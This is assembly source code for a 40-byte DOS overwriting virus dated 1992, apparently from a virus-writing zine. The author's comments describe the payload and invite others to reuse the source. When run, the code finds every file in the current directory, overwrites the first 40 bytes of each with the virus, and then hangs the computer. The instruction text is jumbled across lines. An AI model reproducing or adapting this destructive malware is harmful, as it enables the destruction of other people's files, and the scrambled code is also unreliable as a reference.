;--; the smurf virus [40 bytes long] ; ; author : admiral bailey [yam '92] ; date : june 6 1992 ; language : assembly [tasm 2.0] ; ; notes:the smurf virus was my first attempt at writing the smallest ; overwriting virus known. for a first attempt it wasn't that ; bad. so far i have got it down to 40 bytes. the record that ; does the same as this is about 38 bytes. so i gotta loose 2 ; bytes in here somewhere. well seeing as this small thing is ; probably the easiest virus in the world to disassemble, i have ; included the source in this issue of evolution for all of you ; to take a look at. the source is for you to use. if you ; happend to make anything smaller using this source please just ; give recognition to myself, admiral bailey, saying that you got ; help looking at this source. the only thing that this does is ; find everyfile in the current directory and overwrite the 1st ; 40 bytes with itself. then locks your computer while it is in ; a search loop looking for more file when there are none. a ; neat thing about this is that it displays its entire self to ; the screen when executed. scan 91 notices this as the mini ; virus but i dont blame it seeing that you cant realy avoid ; scan when your virus gets this small. well enjoy the source... ; and remember if you use it and enjoy it just let me know. ;--code segment assume ds:code, ss:code, cs:code, es:code org 100h ;make it a .com file virus_start start:
infect:
equ
$
mov mov
dx,offset file_type ah,4eh
int mov mov int mov mov mov mov int mov int
21h ax,3d02h dx,80h+1eh 21h bx,ax cx,virus_length dx,100h ah,40h 21h ah,3eh 21h
find_next_file: mov ah,4fh jmp infect file_type virus_end virus_length
db equ =
;type of file to look for ;find first file command
;open again to reset handle ;moves filename into dx ;save handle again ;put size of virus in cx ;where the code starts ;write to handle command ;write virus into file ;close handle service ;do it ;find next file command
'*.*',0 $ virus_end - virus_start ;length of virus
code
ends end
start